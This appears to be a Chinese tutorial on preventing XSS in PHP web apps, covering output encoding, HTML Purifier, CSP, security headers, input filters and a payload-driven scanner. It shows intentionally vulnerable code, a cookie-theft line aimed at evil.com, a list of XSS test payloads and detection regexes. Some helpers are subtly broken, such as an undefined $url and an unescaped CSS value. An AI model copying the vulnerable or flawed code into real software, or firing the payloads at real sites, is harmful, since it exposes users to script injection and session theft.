XSS攻击防护

什么是XSS攻击

XSS(Cross-Site Scripting,跨站脚本攻击)是一种代码注入攻击,攻击者通过在网页中注入恶意的JavaScript代码,当其他用户访问这些页面时,恶意代码会在用户的浏览器中执行。

XSS攻击的危害

  1. 窃取用户Cookie:获取用户的会话信息
  2. 键盘记录:记录用户的键盘输入
  3. 钓鱼攻击:伪造登录界面窃取密码
  4. 网页篡改:修改网页内容
  5. 重定向攻击:将用户重定向到恶意网站
  6. 传播恶意软件:下载并执行恶意软件

XSS攻击的类型

1. 存储型XSS(Persistent XSS)

恶意代码被存储在服务器数据库中,当其他用户访问包含这些数据的页面时触发。

<?php
// 危险的示例 - 未对用户输入进行过滤
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $comment = $_POST['comment'];
    $username = $_POST['username'];

    // 直接存储到数据库,未进行过滤
    $sql = "INSERT INTO comments (username, comment) VALUES (?, ?)";
    $stmt = $pdo->prepare($sql);
    $stmt->execute([$username, $comment]);
}

// 显示评论
$sql = "SELECT * FROM comments ORDER BY created_at DESC";
$stmt = $pdo->query($sql);
$comments = $stmt->fetchAll();

foreach ($comments as $comment) {
    // 危险:直接输出用户输入
    echo "<div class='comment'>";
    echo "<strong>" . $comment['username'] . ":</strong>";
    echo "<p>" . $comment['comment'] . "</p>"; // XSS漏洞
    echo "</div>";
}

// 攻击示例
// 用户输入评论: <script>alert('XSS')</script>
// 或者更恶意的: <script>document.location='http://evil.com/steal.php?cookie='+document.cookie</script>
?>

2. 反射型XSS(Reflected XSS)

恶意代码通过URL参数传递,服务器将这些参数反射回页面,立即触发攻击。

<?php
// 危险的搜索功能
if (isset($_GET['search'])) {
    $searchTerm = $_GET['search'];
    echo "搜索结果: " . $searchTerm; // 直接输出,存在XSS
}

// 攻击URL示例
// http://example.com/search.php?search=<script>alert('XSS')</script>

// 另一个例子
$name = $_GET['name'];
echo "欢迎, " . $name; // 反射型XSS

// 攻击URL
// http://example.com/welcome.php?name=<script src="http://evil.com/malicious.js"></script>
?>

3. DOM型XSS

攻击发生在客户端,通过修改页面的DOM结构来执行恶意代码。

<!DOCTYPE html>
<html>
<head>
    <title>DOM XSS示例</title>
</head>
<body>
    <div id="content"></div>
    <script>
        // 危险:直接使用用户输入更新DOM
        var userInput = decodeURIComponent(location.hash.substr(1));
        document.getElementById('content').innerHTML = userInput;

        // 攻击URL
        // http://example.com/page.html#<script>alert('DOM XSS')</script>
    </script>
</body>
</html>

XSS攻击防护方法

1. 输出编码(Output Encoding)

对输出到HTML的内容进行编码,确保浏览器将其作为文本而非代码处理。

<?php
class XssProtection {
    // HTML特殊字符编码
    public static function escape($string) {
        return htmlspecialchars($string, ENT_QUOTES | ENT_HTML5, 'UTF-8');
    }

    // HTML属性编码
    public static function escapeAttr($string) {
        return htmlspecialchars($string, ENT_QUOTES | ENT_HTML5, 'UTF-8');
    }

    // JavaScript编码
    public static function escapeJs($string) {
        return json_encode($string, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
    }

    // URL编码
    public static function escapeUrl($string) {
        return rawurlencode($string);
    }

    // CSS编码
    public static function escapeCss($string) {
        // 实现CSS转义
        $replacements = [
            '&' => '\\26',
            '<' => '\\3c',
            '>' => '\\3e',
            '"' => '\\22',
            "'" => '\\27',
            '/' => '\\2f',
            '=' => '\\3d'
        ];

        return strtr($string, $replacements);
    }
}

// 安全的评论显示示例
function displayComments() {
    $sql = "SELECT * FROM comments ORDER BY created_at DESC";
    $stmt = $pdo->query($sql);
    $comments = $stmt->fetchAll();

    foreach ($comments as $comment) {
        echo "<div class='comment'>";
        echo "<strong>" . XssProtection::escape($comment['username']) . ":</strong>";
        echo "<p>" . XssProtection::escape($comment['comment']) . "</p>";
        echo "<small>" . XssProtection::escape($comment['created_at']) . "</small>";
        echo "</div>";
    }
}

// 安全的搜索结果显示
function displaySearchResults() {
    if (isset($_GET['search'])) {
        $searchTerm = $_GET['search'];
        echo "<h2>搜索结果: " . XssProtection::escape($searchTerm) . "</h2>";

        // 执行搜索
        $sql = "SELECT * FROM articles WHERE title LIKE ?";
        $stmt = $pdo->prepare($sql);
        $stmt->execute(["%$searchTerm%"]);
        $results = $stmt->fetchAll();

        foreach ($results as $article) {
            echo "<h3>" . XssProtection::escape($article['title']) . "</h3>";
            echo "<p>" . XssProtection::escape(substr($article['content'], 0, 200)) . "...</p>";
        }
    }
}
?>

2. 使用HTML Purifier库

HTML Purifier是一个强大的HTML过滤器,可以移除恶意代码同时保留安全的HTML标签。

<?php
// 首先需要安装HTML Purifier
// composer require ezyang/htmlpurifier

require 'vendor/autoload.php';

class SafeHtml {
    private $purifier;

    public function __construct() {
        $config = HTMLPurifier_Config::createDefault();

        // 配置白名单 - 允许的HTML标签
        $config->set('HTML.Allowed', 'p,br,strong,em,u,ol,ul,li,a[href],img[src|alt]');

        // 允许的目标
        $config->set('URI.AllowedSchemes', ['http' => true, 'https' => true, 'mailto' => true]);

        // 禁用危险元素
        $config->set('HTML.SafeIframe', false);
        $config->set('HTML.FlashAllowFullScreen', false);

        // 设置编码
        $config->set('Core.Encoding', 'UTF-8');

        $this->purifier = new HTMLPurifier($config);
    }

    // 清理HTML内容
    public function clean($html) {
        return $this->purifier->purify($html);
    }

    // 严格模式 - 只允许文本格式
    public function cleanStrict($html) {
        $config = HTMLPurifier_Config::createDefault();
        $config->set('HTML.Allowed', 'p,br,strong,em,u');
        $config->set('Core.Encoding', 'UTF-8');

        $strictPurifier = new HTMLPurifier($config);
        return $strictPurifier->purify($html);
    }

    // 允许更多HTML元素(用于管理员等)
    public function cleanPermissive($html) {
        $config = HTMLPurifier_Config::createDefault();
        $config->set('HTML.Allowed', 'p,br,strong,em,u,ol,ul,li,a[href|title],img[src|alt|title],h1,h2,h3,h4,h5,h6,blockquote,code,pre');
        $config->set('HTML.SafeObject', true);
        $config->set('URI.AllowedSchemes', ['http' => true, 'https' => true, 'mailto' => true, 'ftp' => true]);
        $config->set('Core.Encoding', 'UTF-8');

        $permissivePurifier = new HTMLPurifier($config);
        return $permissivePurifier->purify($html);
    }
}

// 使用示例
$safeHtml = new SafeHtml();

// 处理用户提交的内容
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $userContent = $_POST['content'];

    // 根据用户类型选择清理级别
    $cleanContent = $user->isAdmin() ?
        $safeHtml->cleanPermissive($userContent) :
        $safeHtml->clean($userContent);

    // 存储清理后的内容
    $sql = "INSERT INTO posts (content) VALUES (?)";
    $stmt = $pdo->prepare($sql);
    $stmt->execute([$cleanContent]);
}

// 安全地显示内容
$sql = "SELECT * FROM posts ORDER BY created_at DESC";
$stmt = $pdo->query($sql);
$posts = $stmt->fetchAll();

foreach ($posts as $post) {
    echo "<article class='post'>";
    // 因为已经用HTML Purifier清理过,可以直接输出
    echo $post['content'];
    echo "</article>";
}
?>

3. Content Security Policy (CSP)

CSP是一种额外的安全层,帮助检测和缓解某些类型的攻击,包括XSS。

<?php
class CspHelper {
    // 设置CSP头部
    public static function setCspHeader($options = []) {
        $defaultOptions = [
            'default-src' => "'self'",
            'script-src' => "'self' 'unsafe-inline'",
            'style-src' => "'self' 'unsafe-inline'",
            'img-src' => "'self' data: https:",
            'font-src' => "'self'",
            'connect-src' => "'self'",
            'frame-ancestors' => "'none'",
            'base-uri' => "'self'",
            'form-action' => "'self'",
            'object-src' => "'none'",
            'media-src' => "'self'",
            'manifest-src' => "'self'"
        ];

        $options = array_merge($defaultOptions, $options);

        $policies = [];
        foreach ($options as $directive => $value) {
            $policies[] = $directive . ' ' . $value;
        }

        $cspValue = implode('; ', $policies);
        header("Content-Security-Policy: $cspValue");
    }

    // 严格CSP - 仅允许自托管资源
    public static function setStrictCsp() {
        self::setCspHeader([
            'script-src' => "'self'",
            'style-src' => "'self'",
            'img-src' => "'self' data:",
            'font-src' => "'self'",
            'connect-src' => "'self'",
            'frame-ancestors' => "'none'",
            'base-uri' => "'self'",
            'form-action' => "'self'",
            'object-src' => "'none'",
            'media-src' => "'self'"
        ]);
    }

    // 开发环境CSP - 允许内联脚本
    public static function setDevelopmentCsp() {
        self::setCspHeader([
            'script-src' => "'self' 'unsafe-inline' 'unsafe-eval'",
            'style-src' => "'self' 'unsafe-inline'",
            'img-src' => "'self' data: https:",
            'connect-src' => "'self' ws: wss:",
            'object-src' => "'none'"
        ]);
    }

    // 报告模式 - 不阻止违规行为,只报告
    public static function setReportOnlyCsp($reportUri) {
        $options = [
            'default-src' => "'self'",
            'script-src' => "'self'",
            'style-src' => "'self'",
            'img-src' => "'self'",
            'report-uri' => $reportUri
        ];

        $policies = [];
        foreach ($options as $directive => $value) {
            $policies[] = $directive . ' ' . $value;
        }

        $cspValue = implode('; ', $policies);
        header("Content-Security-Policy-Report-Only: $cspValue");
    }
}

// 在应用中使用CSP
// 在每个页面开始时调用
CspHelper::setStrictCsp();

// 或者根据环境设置不同级别的CSP
if (defined('ENVIRONMENT') && ENVIRONMENT === 'development') {
    CspHelper::setDevelopmentCsp();
} else {
    CspHelper::setStrictCsp();
}

// CSP违规报告处理器
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['csp-report'])) {
    $report = json_decode(file_get_contents('php://input'), true);

    // 记录违规报告
    $logEntry = [
        'timestamp' => date('Y-m-d H:i:s'),
        'violated-directive' => $report['csp-report']['violated-directive'] ?? 'unknown',
        'blocked-uri' => $report['csp-report']['blocked-uri'] ?? 'unknown',
        'document-uri' => $report['csp-report']['document-uri'] ?? 'unknown',
        'original-policy' => $report['csp-report']['original-policy'] ?? 'unknown'
    ];

    file_put_contents('csp_violations.log', json_encode($logEntry) . "\n", FILE_APPEND);

    header('HTTP/1.1 204 No Content');
    exit;
}
?>

4. HTTP安全头部

设置适当的HTTP安全头部可以帮助防止XSS攻击。

<?php
class SecurityHeaders {
    // 设置所有安全相关的HTTP头部
    public static function setAll() {
        self::setXssProtection();
        self::setContentTypeOptions();
        self::setFrameOptions();
        self::setStrictTransportSecurity();
        self::setReferrerPolicy();
        self::setPermissionsPolicy();
    }

    // X-XSS-Protection(已废弃,但为了兼容旧浏览器)
    public static function setXssProtection() {
        header("X-XSS-Protection: 1; mode=block");
    }

    // X-Content-Type-Options
    public static function setContentTypeOptions() {
        header("X-Content-Type-Options: nosniff");
    }

    // X-Frame-Options - 防止点击劫持
    public static function setFrameOptions($option = 'DENY') {
        // 选项: DENY, SAMEORIGIN, ALLOW-FROM uri
        header("X-Frame-Options: $option");
    }

    // Strict-Transport-Security (HTTPS only)
    public static function setStrictTransportSecurity($maxAge = 31536000, $includeSubDomains = true) {
        if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') {
            $value = "max-age=$maxAge";
            if ($includeSubDomains) {
                $value .= "; includeSubDomains";
            }
            header("Strict-Transport-Security: $value");
        }
    }

    // Referrer Policy
    public static function setReferrerPolicy($policy = 'strict-origin-when-cross-origin') {
        header("Referrer-Policy: $policy");
    }

    // Permissions Policy (原名Feature Policy)
    public static function setPermissionsPolicy() {
        $features = [
            'geolocation' => '()',
            'microphone' => '()',
            'camera' => '()',
            'payment' => '()',
            'usb' => '()',
            'magnetometer' => '()',
            'gyroscope' => '()',
            'accelerometer' => '()'
        ];

        $policies = [];
        foreach ($features as $feature => $allowlist) {
            $policies[] = "$feature=$allowlist";
        }

        header("Permissions-Policy: " . implode(', ', $policies));
    }
}

// 在应用开始时设置安全头部
SecurityHeaders::setAll();
?>

5. 输入验证和过滤

<?php
class InputFilter {
    // 验证和清理HTML内容
    public static function filterHtml($input, $allowedTags = null) {
        if ($allowedTags === null) {
            // 默认允许的标签
            $allowedTags = '<p><br><strong><em><u><ol><ul><li>';
        }

        // 移除危险属性
        $input = preg_replace('/on\w+\s*=\s*["\']?[^"\']*["\']?/i', '', $input);

        // 移除javascript:协议
        $input = preg_replace('/javascript\s*:/i', '', $input);

        // 移除vbscript:协议
        $input = preg_replace('/vbscript\s*:/i', '', $input);

        // 移除data:协议(除了图片)
        $input = preg_replace('/data:(?!image\/)/i', '', $input);

        return strip_tags($input, $allowedTags);
    }

    // 验证URL
    public static function validateUrl($url) {
        // 首先验证格式
        if (!filter_var($url, FILTER_VALIDATE_URL)) {
            return false;
        }

        // 检查协议
        $allowedSchemes = ['http', 'https'];
        $scheme = parse_url($url, PHP_URL_SCHEME);

        if (!in_array($scheme, $allowedSchemes)) {
            return false;
        }

        // 检查是否包含javascript等
        if (preg_match('/(javascript|vbscript|data):/i', $url)) {
            return false;
        }

        return true;
    }

    // 清理用户输入用于特定上下文
    public static function cleanForContext($input, $context) {
        switch ($context) {
            case 'html':
                return self::filterHtml($input);
            case 'attribute':
                return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
            case 'javascript':
                return json_encode($input, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
            case 'css':
                return preg_replace('/[<>"\'\/]/', '', $input);
            case 'url':
                return filter_var($url, FILTER_SANITIZE_URL);
            default:
                return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
        }
    }

    // 检测可疑内容
    public static function isSuspicious($input) {
        $suspiciousPatterns = [
            '/<script[^>]*>/i',
            '/javascript:/i',
            '/vbscript:/i',
            '/onload\s*=/i',
            '/onerror\s*=/i',
            '/onclick\s*=/i',
            '/onmouseover\s*=/i',
            '/onfocus\s*=/i',
            '/onblur\s*=/i',
            '/onchange\s*=/i',
            '/onsubmit\s*=/i',
            '/<iframe[^>]*>/i',
            '/<object[^>]*>/i',
            '/<embed[^>]*>/i',
            '/<link[^>]*>/i',
            '/<meta[^>]*>/i',
            '/expression\s*\(/i'
        ];

        foreach ($suspiciousPatterns as $pattern) {
            if (preg_match($pattern, $input)) {
                return true;
            }
        }

        return false;
    }
}

// 安全的表单处理示例
class SecureForm {
    public function processForm($data) {
        // 验证必填字段
        if (empty($data['name']) || empty($data['email'])) {
            throw new InvalidArgumentException('姓名和邮箱是必填的');
        }

        // 验证邮箱
        if (!filter_var($data['email'], FILTER_VALIDATE_EMAIL)) {
            throw new InvalidArgumentException('邮箱格式不正确');
        }

        // 检测网站字段是否包含恶意内容
        if (!empty($data['website']) && !InputFilter::validateUrl($data['website'])) {
            throw new InvalidArgumentException('网站URL无效');
        }

        // 清理和验证各个字段
        $cleanData = [
            'name' => InputFilter::cleanForContext($data['name'], 'html'),
            'email' => filter_var($data['email'], FILTER_SANITIZE_EMAIL),
            'website' => !empty($data['website']) ? $data['website'] : '',
            'comment' => InputFilter::filterHtml($data['comment'] ?? ''),
            'signature' => InputFilter::cleanForContext($data['signature'] ?? '', 'attribute')
        ];

        // 检查是否有可疑内容
        foreach ($cleanData as $field => $value) {
            if (InputFilter::isSuspicious($data[$field] ?? '')) {
                // 记录可疑活动
                error_log("可疑输入检测到: 字段=$field, 值=$value");
                throw new SecurityException('输入包含不安全的内容');
            }
        }

        return $cleanData;
    }
}

// 使用示例
$form = new SecureForm();

try {
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $cleanData = $form->processForm($_POST);

        // 存储到数据库
        $sql = "INSERT INTO contacts (name, email, website, comment, signature) VALUES (?, ?, ?, ?, ?)";
        $stmt = $pdo->prepare($sql);
        $stmt->execute([
            $cleanData['name'],
            $cleanData['email'],
            $cleanData['website'],
            $cleanData['comment'],
            $cleanData['signature']
        ]);

        echo "提交成功!";
    }
} catch (InvalidArgumentException $e) {
    echo "错误: " . $e->getMessage();
} catch (SecurityException $e) {
    echo "安全错误: " . $e->getMessage();
    // 可以在这里记录安全事件
}
?>

6. DOM XSS防护

<?php
class DomXssProtection {
    // 生成安全的JavaScript代码
    public static function generateSafeScript($data) {
        // 确保数据被正确编码
        $json = json_encode($data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);

        return "<script>
            (function() {
                var data = $json;
                // 安全地使用数据
                var element = document.getElementById('dynamic-content');
                if (element) {
                    element.textContent = data.message; // 使用textContent而不是innerHTML
                }
            })();
        </script>";
    }

    // 安全的模板渲染
    public static function renderTemplate($template, $data) {
        // 使用简单的模板系统
        foreach ($data as $key => $value) {
            // 对数据进行HTML编码
            $escapedValue = htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
            $template = str_replace('{{' . $key . '}}', $escapedValue, $template);
        }

        return $template;
    }
}

// 安全的前端JavaScript示例
?>
<script>
// 安全地更新DOM内容
function updateContent(elementId, content) {
    var element = document.getElementById(elementId);
    if (element) {
        // 使用textContent而不是innerHTML
        element.textContent = content;
    }
}

// 安全地设置HTML内容
function setHtmlSafe(elementId, htmlContent) {
    var element = document.getElementById(elementId);
    if (element) {
        // 如果必须设置HTML,先进行清理
        var div = document.createElement('div');
        div.textContent = htmlContent;
        element.innerHTML = div.innerHTML;
    }
}

// 安全地处理URL参数
function getUrlParam(name) {
    var urlParams = new URLSearchParams(window.location.search);
    var value = urlParams.get(name);

    // 对参数进行解码和清理
    if (value) {
        return value.replace(/[<>]/g, '');
    }
    return null;
}

// 使用示例
document.addEventListener('DOMContentLoaded', function() {
    var message = getUrlParam('message');
    if (message) {
        updateContent('message-display', message);
    }
});
</script>
<?php
// PHP端生成安全的数据
$userData = [
    'name' => htmlspecialchars($user['name'], ENT_QUOTES, 'UTF-8'),
    'avatar' => htmlspecialchars($user['avatar'], ENT_QUOTES, 'UTF-8'),
    'message' => htmlspecialchars($user['message'], ENT_QUOTES, 'UTF-8')
];

// 生成安全的JavaScript
echo DomXssProtection::generateSafeScript(['message' => $userData['message']]);

// 或使用模板渲染
$template = '<div class="user-card">
    <h3>{{name}}</h3>
    <img src="{{avatar}}" alt="{{name}}">
    <p>{{message}}</p>
</div>';

echo DomXssProtection::renderTemplate($template, $userData);
?>

XSS检测和监控

1. XSS漏洞扫描器

<?php
class XssScanner {
    private $url;
    private $parameters;
    private $payloads;

    public function __construct($url, $parameters = []) {
        $this->url = $url;
        $this->parameters = $parameters;

        // XSS测试载荷
        $this->payloads = [
            // 基本脚本注入
            '<script>alert("XSS")</script>',
            '<script>alert(document.cookie)</script>',
            '<img src=x onerror=alert("XSS")>',
            '<svg onload=alert("XSS")>',

            // 绕过过滤的尝试
            '<ScRiPt>alert("XSS")</ScRiPt>',
            '<script>alert(String.fromCharCode(88,83,83))</script>',
            '<script>alert(/XSS/)</script>',
            '"><script>alert("XSS")</script>',
            "'><script>alert('XSS')</script>",

            // HTML注入
            '<iframe src="javascript:alert(\'XSS\')"></iframe>',
            '<body onload=alert("XSS")>',
            '<input onfocus=alert("XSS") autofocus>',

            // 编码尝试
            '%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E',
            '&#60;script&#62;alert("XSS")&#60;/script&#62;',

            // 其他向量
            'javascript:alert("XSS")',
            '<meta http-equiv="refresh" content="0;url=javascript:alert(\'XSS\')">',
            '<style>@import "javascript:alert(\'XSS\')";</style>'
        ];
    }

    // 扫描XSS漏洞
    public function scan() {
        $vulnerabilities = [];

        foreach ($this->payloads as $payload) {
            $result = $this->testPayload($payload);
            if ($result['vulnerable']) {
                $vulnerabilities[] = $result;
            }
        }

        return $vulnerabilities;
    }

    // 测试单个载荷
    private function testPayload($payload) {
        $testParams = [];
        foreach ($this->parameters as $param => $value) {
            $testParams[$param] = $payload;
        }

        $testUrl = $this->url . '?' . http_build_query($testParams);

        // 使用curl获取响应
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $testUrl);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (XSS Scanner)');

        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);

        if ($response === false) {
            return ['payload' => $payload, 'vulnerable' => false, 'reason' => 'Request failed'];
        }

        // 检查响应中是否包含未转义的payload
        $vulnerabilityTypes = $this->detectVulnerabilityType($response, $payload);

        if (!empty($vulnerabilityTypes)) {
            return [
                'payload' => $payload,
                'vulnerable' => true,
                'types' => $vulnerabilityTypes,
                'url' => $testUrl,
                'http_code' => $httpCode
            ];
        }

        return ['payload' => $payload, 'vulnerable' => false];
    }

    // 检测漏洞类型
    private function detectVulnerabilityType($response, $payload) {
        $types = [];

        // 直接脚本执行
        if (strpos($response, $payload) !== false) {
            $types[] = 'Reflected XSS (Direct)';
        }

        // 检查各种编码形式
        $decodedPayload = html_entity_decode($payload);
        if ($decodedPayload !== $payload && strpos($response, $decodedPayload) !== false) {
            $types[] = 'Encoded XSS';
        }

        // 检测可能的DOM XSS
        if (preg_match('/getElementById|querySelector|innerHTML|outerHTML/i', $response)) {
            $types[] = 'Potential DOM XSS';
        }

        // 检测事件处理器
        if (preg_match('/on\w+\s*=/i', $response)) {
            $types[] = 'Event Handler Injection';
        }

        return $types;
    }

    // 生成报告
    public function generateReport($vulnerabilities) {
        $report = [
            'scan_date' => date('Y-m-d H:i:s'),
            'target_url' => $this->url,
            'total_payloads_tested' => count($this->payloads),
            'vulnerabilities_found' => count($vulnerabilities),
            'vulnerabilities' => $vulnerabilities
        ];

        return $report;
    }
}

// 使用示例
$scanner = new XssScanner(
    'http://example.com/search.php',
    ['query' => 'test', 'category' => 'books']
);

$vulnerabilities = $scanner->scan();
$report = $scanner->generateReport($vulnerabilities);

echo "XSS扫描报告:\n";
echo "扫描时间: {$report['scan_date']}\n";
echo "目标URL: {$report['target_url']}\n";
echo "测试载荷: {$report['total_payloads_tested']}\n";
echo "发现漏洞: {$report['vulnerabilities_found']}\n\n";

if (!empty($vulnerabilities)) {
    echo "漏洞详情:\n";
    foreach ($vulnerabilities as $vuln) {
        echo "- 载荷: {$vuln['payload']}\n";
        echo "  类型: " . implode(', ', $vuln['types']) . "\n";
        echo "  URL: {$vuln['url']}\n\n";
    }
} else {
    echo "未发现XSS漏洞\n";
}
?>

最佳实践总结

1. 永远不要相信用户输入

<?php
// 错误的做法
echo $_GET['message'];

// 正确的做法
echo htmlspecialchars($_GET['message'], ENT_QUOTES, 'UTF-8');

// 更好的做法 - 使用专门的库
echo $xssProtection->escape($_GET['message']);
?>

2. 根据上下文选择正确的编码方式

<?php
// HTML内容
echo htmlspecialchars($content, ENT_QUOTES, 'UTF-8');

// HTML属性
echo '<input value="' . htmlspecialchars($value, ENT_QUOTES, 'UTF-8') . '">';

// JavaScript
echo '<script>var data = ' . json_encode($data) . ';</script>';

// CSS
echo '<div style="background: ' . $cssValue . '">';
?>

3. 使用白名单而不是黑名单

<?php
// 好的做法:明确允许的标签
$allowedTags = '<p><br><strong><em>';
$cleanHtml = strip_tags($userInput, $allowedTags);

// 使用HTML Purifier进行更精确的控制
$cleanHtml = $htmlPurifier->purify($userInput);
?>

4. 实施多层防护

<?php
// 1. 输入验证
if (!InputFilter::isSafe($input)) {
    throw new SecurityException('输入不安全');
}

// 2. 输出编码
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

// 3. CSP头部
CspHelper::setStrictCsp();

// 4. 其他安全头部
SecurityHeaders::setAll();
?>

5. 保持更新和监控

<?php
// 定期扫描漏洞
$schedule->job(new XssScannerJob())->daily();

// 监控可疑活动
$xssMonitor = new XssMonitor();
$xssMonitor->checkRequests();

// 使用最新版本的库和框架
// composer update
?>

通过实施这些XSS防护措施,你可以大大提高Web应用程序的安全性,保护用户免受恶意脚本的攻击。记住,安全是一个持续的过程,需要不断学习和改进。